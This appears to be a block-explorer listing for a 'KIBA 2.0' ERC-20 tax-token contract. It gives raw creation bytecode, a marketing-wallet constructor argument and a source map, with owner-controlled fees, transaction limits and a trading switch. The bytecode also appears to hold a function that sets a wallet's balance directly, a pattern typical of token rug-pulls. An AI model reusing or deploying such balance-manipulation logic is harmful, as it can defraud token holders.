506105e06111f4565b6040516105ed9190613504565b60405180910390f35b34801561060257600080fd5b5061061d60048036038101906106189190612e92565b611207565b60405161062a9190613504565b60405180910390f35b34801561063f57600080fd5b5061065a600480360381019061065591906131ac565b61123a565b005b34801561066857600080fd5b506106716112f2565b60405161067e919061361c565b60405180910390f35b34801561069357600080fd5b5061069c6112f8565b6040516106a9919061361c565b60405180910390f35b3480156106be57600080fd5b506106d960048036038101906106d49190612e92565b6112fe565b6040516106e6919061361c565b60405180910390f35b3480156106fb57600080fd5b50610704611347565b005b34801561071257600080fd5b5061071b61139b565b604051610728919061361c565b60405180910390f35b34801561073d57600080fd5b506107466113a1565b6040516107539190613444565b60405180910390f35b34801561076857600080fd5b506107716113c7565b005b34801561077f57600080fd5b5061078861144c565b604051610795919061361c565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c0919061312c565b611452565b005b3480156107d357600080fd5b506107dc6114a4565b6040516107e9919061361c565b60405180910390f35b3480156107fe57600080fd5b506108076114aa565b6040516108149190613444565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f9190612e92565b6114d3565b6040516108519190613504565b60405180910390f35b34801561086657600080fd5b5061086f6114f3565b60405161087c919061353a565b60405180910390f35b34801561089157600080fd5b5061089a611530565b6040516108a7919061361c565b60405180910390f35b3480156108bc57600080fd5b506108d760048036038101906108d29190612fff565b611536565b005b3480156108e557600080fd5b506108ee6115d9565b6040516108fb9190613504565b60405180910390f35b34801561091057600080fd5b506109196115ec565b6040516109269190613444565b60405180910390f35b34801561093b57600080fd5b506109566004803603810190610951919061303f565b611612565b6040516109639190613504565b60405180910390f35b34801561097857600080fd5b50610981611627565b60405161098e919061361c565b60405180910390f35b3480156109a357600080fd5b506109ac61162d565b6040516109b9919061361c565b60405180910390f35b3480156109ce57600080fd5b506109d7611633565b005b3480156109e557600080fd5b506109ee6118dc565b6040516109fb9190613444565b60405180910390f35b348015610a1057600080fd5b50610a19611902565b604051610a26919061361c565b60405180910390f35b348015610a3b57600080fd5b50610a566004803603810190610a51919061312c565b611908565b005b348015610a6457600080fd5b50610a6d61195a565b604051610a7a9190613504565b60405180910390f35b348015610a8f57600080fd5b50610aaa6004803603810190610aa59190612f19565b61196d565b604051610ab7919061361c565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae2919061307f565b6119f4565b005b348015610af557600080fd5b50610b106004803603810190610b0b9190612eec565b611a59565b005b348015610b1e57600080fd5b50610b27611b1b565b604051610b34919061351f565b60405180910390f35b348015610b4957600080fd5b50610b646004803603810190610b5f9190612fff565b611b41565b005b348015610b7257600080fd5b50610b8d6004803603810190610b88919061307f565b611be4565b005b601c5481565b60606040518060400160405280600881526020017f4b49424120322e30000000000000000000000000000000000000000000000000815250905090565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610cb2919061361c565b60405180910390a36001905092915050565b610ccd33610fc7565b610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d03906135dc565b60405180910390fd5b80600060146101000a81548160ff02191690831515021790555050565b6000600454905090565b601d5481565b60105481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f2b57610eaa826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca79092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f36848484611d0b565b90509392505050565b6000610fbc610f6f600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166112fe565b610fae610f9d600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166112fe565b60045461238190919063ffffffff16565b61238190919063ffffffff16565b905090565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b61103233610fc7565b611071576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611068906135dc565b60405180910390fd5b82601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b61114233610fc7565b611181576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611178906135dc565b60405180910390fd5b82601960016101000a81548160ff02191690831515021790555081601c8190555080601960026101000a81548160ff021916908315150217905550505050565b600a6020528060005260406000206000915054906101000a900460ff1681565b600760009054906101000a900460ff1681565b601960019054906101000a900460ff1681565b6000611233827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610bd2565b9050919050565b61124333610fc7565b611282576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611279906135dc565b60405180910390fd5b83600c8190555082600e8190555081600d8190555080600f819055506112c9600e546112bb600d54600c54611c4990919063ffffffff16565b611c4990919063ffffffff16565b6010819055506112e6600f54601054611c4990919063ffffffff16565b60118190555050505050565b600f5481565b600d5481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61135033610fc7565b61138f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611386906135dc565b60405180910390fd5b6113996000611a59565b565b601a5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960016101000a81548160ff021916908315150217905550601d5460086000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60055481565b61145b33610fc7565b61149a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611491906135dc565b60405180910390fd5b8060068190555050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b60606040518060400160405280600681526020017f4b49424132300000000000000000000000000000000000000000000000000000815250905090565b600c5481565b61153f33610fc7565b61157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611575906135dc565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b60009054906101000a900460ff1681565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061161f338484611d0b565b905092915050565b60185481565b60155481565b61163c33610fc7565b61167b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611672906135dc565b60405180910390fd5b600060149054906101000a900460ff16156116cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c2906135fc565b60405180910390fd5b6000601960016101000a81548160ff0219169083151502179055506116ee6123cb565b6001600060146101000a81548160ff021916908315150217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611752306112fe565b60008033426040518863ffffffff1660e01b8152600401611778969594939291906134a3565b6060604051808303818588803b15801561179157600080fd5b505af11580156117a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117ca9190613159565b505050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186c92919061347a565b602060405180830381600087803b15801561188657600080fd5b505af115801561189a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118be91906130ac565b506001601960016101000a81548160ff021916908315150217905550565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b61191133610fc7565b611950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611947906135dc565b60405180910390fd5b8060058190555050565b601960029054906101000a900460ff1681565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119fd33610fc7565b611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a33906135dc565b60405180910390fd5b80600760006101000a81548160ff02191690831515021790555050565b611a6233610fc7565b611aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a98906135dc565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611b10919061345f565b60405180910390a150565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b4a33610fc7565b611b89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b80906135dc565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611bed33610fc7565b611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c23906135dc565b60405180910390fd5b80601b60006101000a81548160ff02191690831515021790555050565b6000808284611c589190613735565b905083811015611c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c949061357c565b60405180910390fd5b8091505092915050565b6000838311158290611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce6919061353a565b60405180910390fd5b5060008385611cfe9190613816565b9050809150509392505050565b6000601960009054906101000a900460ff1615611d3457611d2d8484846123d4565b905061237a565b600060149054906101000a900460ff16611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a9061359c565b60405180910390fd5b601b60009054906101000a900460ff168015611da157506005548211155b80611df55750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2b9061355c565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611edc5750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ef55750601960009054906101000a900460ff16155b8015611f0d5750601960019054906101000a900460ff165b8015611f5a5750601c54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15611f6857611f676125a7565b5b611f70612b22565b158015611fca5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612024576000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161201b57600080fd5b6120236123cb565b5b6120ad826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca79092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121565750600760009054906101000a900460ff165b156121bc576006546121b083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b11156121bb57600080fd5b5b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122625750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61226c5782612278565b612277858585612b2f565b5b90506122cc81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161236c919061361c565b60405180910390a360019150505b9392505050565b60006123c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca7565b905092915050565b43601881905550565b600061245f826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca79092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f482600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612594919061361c565b60405180910390a3600190509392505050565b6001601960006101000a81548160ff0219169083151502179055506000600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006126446002612636601054612628600c5487612cd790919063ffffffff16565b612d5290919063ffffffff16565b612d5290919063ffffffff16565b9050600061265b828461238190919063ffffffff16565b90506000600267ffffffffffffffff81111561267a576126796139cb565b5b6040519080825280602002602001820160405280156126a85781602001602082028036833780820191505090505b50905030816000815181106126c0576126bf61399c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561276257600080fd5b505afa158015612776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279a9190612ebf565b816001815181106127ae576127ad61399c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161284c959493929190613637565b600060405180830381600087803b15801561286657600080fd5b505af115801561287a573d6000803e3d6000fd5b50505050600047905060006128af61289e6002600c54612d5290919063ffffffff16565b60105461238190919063ffffffff16565b905060006128ed60026128df846128d1600c5488612cd790919063ffffffff16565b612d5290919063ffffffff16565b612d5290919063ffffffff16565b905060006129188361290a600e5487612cd790919063ffffffff16565b612d5290919063ffffffff16565b9050600061294182612933858861238190919063ffffffff16565b61238190919063ffffffff16565b90506000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161298f9061342f565b600060405180830381858888f193505050503d80600081146129cd576040519150601f19603f3d011682016040523d82523d6000602084013e6129d2565b606091505b50509050600090506000891115612afb57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612a6c969594939291906134a3565b6060604051808303818588803b158015612a8557600080fd5b505af1158015612a99573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612abe9190613159565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848a604051612af2929190613691565b60405180910390a15b505050505050505050506000601960006101000a81548160ff021916908315150217905550565b6000806018541415905090565b6000808373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b8f57601054612b93565b6011545b90506000612bbd6064612baf8487612cd790919063ffffffff16565b612d5290919063ffffffff16565b9050612c1181600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4990919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cb1919061361c565b60405180910390a3612ccc818561238190919063ffffffff16565b925050509392505050565b600080831415612cea5760009050612d4c565b60008284612cf891906137bc565b9050828482612d07919061378b565b14612d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3e906135bc565b60405180910390fd5b809150505b92915050565b6000612d9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d9c565b905092915050565b60008083118290612de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dda919061353a565b60405180910390fd5b5060008385612df2919061378b565b9050809150509392505050565b600081359050612e0e81613b2f565b92915050565b600081519050612e2381613b2f565b92915050565b600081359050612e3881613b46565b92915050565b600081359050612e4d81613b5d565b92915050565b600081519050612e6281613b5d565b92915050565b600081359050612e7781613b74565b92915050565b600081519050612e8c81613b74565b92915050565b600060208284031215612ea857612ea76139fa565b5b6000612eb684828501612dff565b91505092915050565b600060208284031215612ed557612ed46139fa565b5b6000612ee384828501612e14565b91505092915050565b600060208284031215612f0257612f016139fa565b5b6000612f1084828501612e29565b91505092915050565b60008060408385031215612f3057612f2f6139fa565b5b6000612f3e85828601612dff565b9250506020612f4f85828601612dff565b9150509250929050565b600080600060608486031215612f7257612f716139fa565b5b6000612f8086828701612dff565b9350506020612f9186828701612dff565b9250506040612fa286828701612dff565b9150509250925092565b600080600060608486031215612fc557612fc46139fa565b5b6000612fd386828701612dff565b9350506020612fe486828701612dff565b9250506040612ff586828701612e68565b9150509250925092565b60008060408385031215613016576130156139fa565b5b600061302485828601612dff565b925050602061303585828601612e3e565b9150509250929050565b60008060408385031215613056576130556139fa565b5b600061306485828601612dff565b925050602061307585828601612e68565b9150509250929050565b600060208284031215613095576130946139fa565b5b60006130a384828501612e3e565b91505092915050565b6000602082840312156130c2576130c16139fa565b5b60006130d084828501612e53565b91505092915050565b6000806000606084860312156130f2576130f16139fa565b5b600061310086828701612e3e565b935050602061311186828701612e68565b925050604061312286828701612e3e565b9150509250925092565b600060208284031215613142576131416139fa565b5b600061315084828501612e68565b91505092915050565b600080600060608486031215613172576131716139fa565b5b600061318086828701612e7d565b935050602061319186828701612e7d565b92505060406131a286828701612e7d565b9150509250925092565b600080600080608085870312156131c6576131c56139fa565b5b60006131d487828801612e68565b94505060206131e587828801612e68565b93505060406131f687828801612e68565b925050606061320787828801612e68565b91505092959194509250565b600061321f838361323a565b60208301905092915050565b613234816138b1565b82525050565b6132438161384a565b82525050565b6132528161384a565b82525050565b6000613263826136e5565b61326d8185613708565b9350613278836136d5565b8060005b838110156132a95781516132908882613213565b975061329b836136fb565b92505060018101905061327c565b5085935050505092915050565b6132bf8161386e565b82525050565b6132ce816138c3565b82525050565b6132dd816138d5565b82525050565b60006132ee826136f0565b6132f88185613724565b935061330881856020860161390b565b613311816139ff565b840191505092915050565b6000613329601183613724565b915061333482613a10565b602082019050919050565b600061334c601b83613724565b915061335782613a39565b602082019050919050565b600061336f601483613724565b915061337a82613a62565b602082019050919050565b6000613392602183613724565b915061339d82613a8b565b604082019050919050565b60006133b5600683613724565b91506133c082613ada565b602082019050919050565b60006133d8600083613719565b91506133e382613b03565b600082019050919050565b60006133fb601783613724565b915061340682613b06565b602082019050919050565b61341a8161389a565b82525050565b613429816138a4565b82525050565b600061343a826133cb565b9150819050919050565b60006020820190506134596000830184613249565b92915050565b6000602082019050613474600083018461322b565b92915050565b600060408201905061348f6000830185613249565b61349c6020830184613411565b9392505050565b600060c0820190506134b86000830189613249565b6134c56020830188613411565b6134d260408301876132d4565b6134df60608301866132d4565b6134ec6080830185613249565b6134f960a0830184613411565b979650505050505050565b600060208201905061351960008301846132b6565b92915050565b600060208201905061353460008301846132c5565b92915050565b6000602082019050818103600083015261355481846132e3565b905092915050565b600060208201905081810360008301526135758161331c565b9050919050565b600060208201905081810360008301526135958161333f565b9050919050565b600060208201905081810360008301526135b581613362565b9050919050565b600060208201905081810360008301526135d581613385565b9050919050565b600060208201905081810360008301526135f5816133a8565b9050919050565b60006020820190508181036000830152613615816133ee565b9050919050565b60006020820190506136316000830184613411565b92915050565b600060a08201905061364c6000830188613411565b61365960208301876132d4565b818103604083015261366b8186613258565b905061367a6060830185613249565b6136876080830184613411565b9695505050505050565b60006040820190506136a66000830185613411565b6136b36020830184613411565b9392505050565b60006020820190506136cf6000830184613420565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006137408261389a565b915061374b8361389a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137805761377f61393e565b5b828201905092915050565b60006137968261389a565b91506137a18361389a565b9250826137b1576137b061396d565b5b828204905092915050565b60006137c78261389a565b91506137d28361389a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561380b5761380a61393e565b5b828202905092915050565b60006138218261389a565b915061382c8361389a565b92508282101561383f5761383e61393e565b5b828203905092915050565b60006138558261387a565b9050919050565b60006138678261387a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138bc826138e7565b9050919050565b60006138ce826138e7565b9050919050565b60006138e08261389a565b9050919050565b60006138f2826138f9565b9050919050565b60006139048261387a565b9050919050565b60005b8381101561392957808201518184015260208101905061390e565b83811115613938576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b50565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613b388161384a565b8114613b4357600080fd5b50565b613b4f8161385c565b8114613b5a57600080fd5b50565b613b668161386e565b8114613b7157600080fd5b50565b613b7d8161389a565b8114613b8857600080fd5b5056fea2646970667358221220c92c743987b146585c94262cf42533897cbdc282f3e9744ac93b52e1798d101364736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000046edb823b3c096e0f5d779bc51ebb72f58bf8c4f

-----Decoded View---------------
Arg [0] : _anotherMarketingWallet (address): 0x46edB823b3C096e0F5d779bc51Ebb72F58BF8c4f

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000046edb823b3c096e0f5d779bc51ebb72f58bf8c4f


Deployed Bytecode Sourcemap

5619:11048:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7219:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8732:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9572:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14537:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8994:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7394:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6638:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12030:370;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9172:142;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6560:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5083:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8908:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11261:311;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11580:274;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6378:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6224:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7018:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9796:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10831:422;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6596:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6522:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9322:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5451:111;;;;;;;;;;;;;:::i;:::-;;7117:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6760:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12408:132;;;;;;;;;;;;;:::i;:::-;;6106:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10213:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6165:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9088:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6428:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8818:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6484:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10563:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7177:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6928:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11866:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6956:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6842:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16154:442;;;;;;;;;;;;;:::i;:::-;;6717:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6672;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10103:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7065:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9433:131;;;;;;;